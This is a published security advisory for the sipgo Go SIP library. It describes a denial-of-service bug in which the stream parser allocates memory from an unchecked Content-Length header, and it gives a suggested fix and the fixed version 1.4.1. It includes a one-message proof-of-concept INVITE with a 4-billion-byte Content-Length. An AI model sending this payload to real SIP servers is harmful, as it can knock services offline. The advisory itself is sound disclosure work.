GHSA-pg59-5vwg-4jxq

Suggest an improvement
Source
https://github.com/advisories/GHSA-pg59-5vwg-4jxq
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-pg59-5vwg-4jxq/GHSA-pg59-5vwg-4jxq.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-pg59-5vwg-4jxq
Aliases
Downstream
CGA (1)
MINI (2)
Published
2026-09-22T19:57:51Z
Modified
2026-09-22T20:15:05Z
Severity
  • 7.5 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H CVSS Calculator
Summary
SIPGO: DoS via unvalidated Content-Length in the stream parser
Details

Summary

The stream parser allocates the SIP body buffer from the Content-Length header before validating its size, which can lead to an unauthenticated DoS.

Details

ParserStream.parseSingle allocates the body buffer from the declared Content-Length with no size check (https://github.com/emiago/sipgo/blob/v1.4.0/sip/parser_stream.go#L195):

body := make([]byte, contentLength)   // contentLength is client-controlled, up to 2^32-1 (uint32)

The ParseMaxMessageLength (65535) check is in the caller ParseNext (https://github.com/emiago/sipgo/blob/v1.4.0/sip/parser_stream.go#L132), and only runs after parseSingle has already allocated the buffer.

PoC

Tested on emiago/sipgo v1.4.0 (latest).

Send a single message with a large Content-Length and no body to a SIP server:

INVITE sip:victim@example.com SIP/2.0
Via: SIP/2.0/TCP attacker.example;branch=z9hG4bK1
From: <sip:attacker@attacker.example>;tag=1
To: <sip:victim@example.com>
Call-ID: 1@attacker.example
CSeq: 1 INVITE
Content-Length: 4000000000                     // <- a large Content-Length

Suggested Fix

Validate contentLength against ParseMaxMessageLength before the allocation.

Impact

Unauthenticated DoS. Any service using sipgo with a stream transport (TCP/TLS/WS/WSS) can be forced to run out of memory.

Database specific
{
    "cwe_ids":  [
        "CWE-789"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-09-22T19:57:51Z",
    "nvd_published_at":  null,
    "severity":  "HIGH"
}
References

Affected packages

Go / github.com/emiago/sipgo

Package

Name
github.com/emiago/sipgo
View open source insights on deps.dev
Purl
pkg:golang/github.com/emiago/sipgo

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
1.4.1

Database specific

last_known_affected_version_range
"<= 1.4.0"
source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-pg59-5vwg-4jxq/GHSA-pg59-5vwg-4jxq.json"